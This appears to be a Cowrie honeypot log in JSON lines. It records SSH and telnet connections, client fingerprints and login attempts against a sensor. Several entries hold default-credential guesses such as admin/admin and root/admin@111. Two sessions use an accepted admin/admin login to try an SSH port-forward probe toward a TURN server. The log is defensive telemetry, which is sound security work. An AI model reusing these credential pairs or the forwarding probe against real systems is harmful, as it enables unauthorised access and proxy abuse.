{"eventid":"cowrie.session.closed","duration":31.20847988128662,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:09:53.515254Z","src_ip":"66.11.126.14","session":"9110193d5497","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"66.11.126.14","src_port":41202,"dst_ip":"159.203.135.109","dst_port":23,"session":"529d2993a159","protocol":"telnet","message":"New connection: 66.11.126.14:41202 (159.203.135.109:23) [session: 529d2993a159]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:09:55.424364Z"}
{"eventid":"cowrie.session.closed","duration":30.783795595169067,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:10:26.207899Z","src_ip":"66.11.126.14","session":"529d2993a159","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"148.230.169.229","src_port":33768,"dst_ip":"10.17.0.5","dst_port":22,"session":"db920b0cbe56","protocol":"ssh","message":"New connection: 148.230.169.229:33768 (10.17.0.5:22) [session: db920b0cbe56]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:12:36.769911Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:12:36.774477Z","src_ip":"148.230.169.229","session":"db920b0cbe56","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:12:36.841589Z","src_ip":"148.230.169.229","session":"db920b0cbe56","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"admin@111","message":"login attempt [root/admin@111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:12:37.137632Z","src_ip":"148.230.169.229","session":"db920b0cbe56","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:12:38.205709Z","src_ip":"148.230.169.229","session":"db920b0cbe56","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.24.211.95","src_port":19621,"dst_ip":"159.203.135.109","dst_port":22,"session":"70d25fa00d53","protocol":"ssh","message":"New connection: 193.24.211.95:19621 (159.203.135.109:22) [session: 70d25fa00d53]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:13:46.778545Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:13:46.782790Z","src_ip":"193.24.211.95","session":"70d25fa00d53","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:13:46.892248Z","src_ip":"193.24.211.95","session":"70d25fa00d53","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"admi","message":"login attempt [admin/admi] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:13:47.327403Z","src_ip":"193.24.211.95","session":"70d25fa00d53","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:13:48.439374Z","src_ip":"193.24.211.95","session":"70d25fa00d53","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.26.126.47","src_port":45252,"dst_ip":"159.203.135.109","dst_port":23,"session":"c7b14e332f2b","protocol":"telnet","message":"New connection: 185.26.126.47:45252 (159.203.135.109:23) [session: c7b14e332f2b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:14:51.817569Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.148.10.121","src_port":52034,"dst_ip":"159.203.135.109","dst_port":22,"session":"6146413ee8c1","protocol":"ssh","message":"New connection: 45.148.10.121:52034 (159.203.135.109:22) [session: 6146413ee8c1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:15:02.848476Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:15:02.853842Z","src_ip":"45.148.10.121","session":"6146413ee8c1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"bf7dbf67fa9b26ee9f9deb99c49320ba","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc,arcfour256,arcfour128,arcfour;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256","rsa-sha2-512","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc","arcfour256","arcfour128","arcfour"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: bf7dbf67fa9b26ee9f9deb99c49320ba","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:15:02.958610Z","src_ip":"45.148.10.121","session":"6146413ee8c1","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:15:03.214635Z","src_ip":"45.148.10.121","session":"6146413ee8c1","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"141.101.90.1","dst_port":3478,"src_ip":"45.148.10.121","src_port":0,"message":"direct-tcp connection request to 141.101.90.1:3478 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:15:03.305519Z","session":"6146413ee8c1","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"141.101.90.1","dst_port":3478,"ja4h":"ge11nn020000_8d35d308f07e_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 141.101.90.1:3478: ge11nn020000_8d35d308f07e_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:15:03.391353Z","src_ip":"45.148.10.121","session":"6146413ee8c1","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"141.101.90.1","dst_port":3478,"data":"b'GET / HTTP/1.1\\r\\nHost: turn.cloudflare.com:3478\\r\\nConnection: close\\r\\n\\r\\n'","id":0,"message":"discarded direct-tcp forward request 0 to 141.101.90.1:3478 with data b'GET / HTTP/1.1\\r\\nHost: turn.cloudflare.com:3478\\r\\nConnection: close\\r\\n\\r\\n'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:15:03.395467Z","src_ip":"45.148.10.121","session":"6146413ee8c1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.6","message":"Connection lost after 0.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:15:03.489092Z","src_ip":"45.148.10.121","session":"6146413ee8c1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.148.10.121","src_port":52048,"dst_ip":"159.203.135.109","dst_port":22,"session":"4cf3da3deed4","protocol":"ssh","message":"New connection: 45.148.10.121:52048 (159.203.135.109:22) [session: 4cf3da3deed4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:15:03.576631Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:15:03.591624Z","src_ip":"45.148.10.121","session":"4cf3da3deed4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"bf7dbf67fa9b26ee9f9deb99c49320ba","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc,arcfour256,arcfour128,arcfour;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256","rsa-sha2-512","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc","arcfour256","arcfour128","arcfour"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: bf7dbf67fa9b26ee9f9deb99c49320ba","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:15:03.691378Z","src_ip":"45.148.10.121","session":"4cf3da3deed4","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:15:03.958606Z","src_ip":"45.148.10.121","session":"4cf3da3deed4","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"141.101.90.1","dst_port":3478,"src_ip":"45.148.10.121","src_port":0,"message":"direct-tcp connection request to 141.101.90.1:3478 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:15:04.060547Z","session":"4cf3da3deed4","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"141.101.90.1","dst_port":3478,"ja4h":"ge11nn020000_8d35d308f07e_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 141.101.90.1:3478: ge11nn020000_8d35d308f07e_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:15:04.155659Z","src_ip":"45.148.10.121","session":"4cf3da3deed4","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"141.101.90.1","dst_port":3478,"data":"b'GET / HTTP/1.1\\r\\nHost: turn.cloudflare.com:3478\\r\\nConnection: close\\r\\n\\r\\n'","id":0,"message":"discarded direct-tcp forward request 0 to 141.101.90.1:3478 with data b'GET / HTTP/1.1\\r\\nHost: turn.cloudflare.com:3478\\r\\nConnection: close\\r\\n\\r\\n'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:15:04.161309Z","src_ip":"45.148.10.121","session":"4cf3da3deed4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:15:04.252375Z","src_ip":"45.148.10.121","session":"4cf3da3deed4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"66.11.126.14","src_port":33462,"dst_ip":"159.203.135.109","dst_port":23,"session":"ab6257a09929","protocol":"telnet","message":"New connection: 66.11.126.14:33462 (159.203.135.109:23) [session: ab6257a09929]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:15:08.133124Z"}
{"eventid":"cowrie.session.closed","duration":39.29285979270935,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:15:31.110303Z","src_ip":"185.26.126.47","session":"c7b14e332f2b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.05190634727478,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:15:39.184897Z","src_ip":"66.11.126.14","session":"ab6257a09929","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"31.43.241.152","src_port":51862,"dst_ip":"159.203.135.109","dst_port":23,"session":"7bcfefa855c6","protocol":"telnet","message":"New connection: 31.43.241.152:51862 (159.203.135.109:23) [session: 7bcfefa855c6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:15:51.172700Z"}
{"eventid":"cowrie.session.connect","src_ip":"194.59.206.2","src_port":50072,"dst_ip":"10.17.0.5","dst_port":22,"session":"353f671efb6c","protocol":"ssh","message":"New connection: 194.59.206.2:50072 (10.17.0.5:22) [session: 353f671efb6c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:16:00.292549Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:16:00.897563Z","src_ip":"194.59.206.2","session":"353f671efb6c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e54ef3ec27fe1fea7ab64d3fa05359fd","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group1-sha1,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1;chacha20-poly1305@openssh.com,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour256,arcfour128,arcfour,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group1-sha1","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","arcfour256","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e54ef3ec27fe1fea7ab64d3fa05359fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:16:00.901664Z","src_ip":"194.59.206.2","session":"353f671efb6c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:16:02.701436Z","src_ip":"194.59.206.2","session":"353f671efb6c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.46.255.86","src_port":39683,"dst_ip":"159.203.135.109","dst_port":22,"session":"9868b37acbce","protocol":"ssh","message":"New connection: 193.46.255.86:39683 (159.203.135.109:22) [session: 9868b37acbce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:17:50.917057Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:17:50.921300Z","src_ip":"193.46.255.86","session":"9868b37acbce","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:17:51.063946Z","src_ip":"193.46.255.86","session":"9868b37acbce","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00175499916077,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:17:51.174319Z","src_ip":"31.43.241.152","session":"7bcfefa855c6","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"christian","password":"christian","message":"login attempt [christian/christian] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:17:51.704744Z","src_ip":"193.46.255.86","session":"9868b37acbce","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"31.43.241.152","src_port":60202,"dst_ip":"159.203.135.109","dst_port":23,"session":"11e1daa75eb6","protocol":"telnet","message":"New connection: 31.43.241.152:60202 (159.203.135.109:23) [session: 11e1daa75eb6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:17:52.136344Z"}
{"eventid":"cowrie.session.connect","src_ip":"31.43.241.152","src_port":60402,"dst_ip":"159.203.135.109","dst_port":23,"session":"18c2827556f7","protocol":"telnet","message":"New connection: 31.43.241.152:60402 (159.203.135.109:23) [session: 18c2827556f7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:17:52.597002Z"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:17:52.858451Z","src_ip":"193.46.255.86","session":"9868b37acbce","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.26.126.47","src_port":51836,"dst_ip":"159.203.135.109","dst_port":23,"session":"c7572dff644f","protocol":"telnet","message":"New connection: 185.26.126.47:51836 (159.203.135.109:23) [session: c7572dff644f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:18:24.708429Z"}
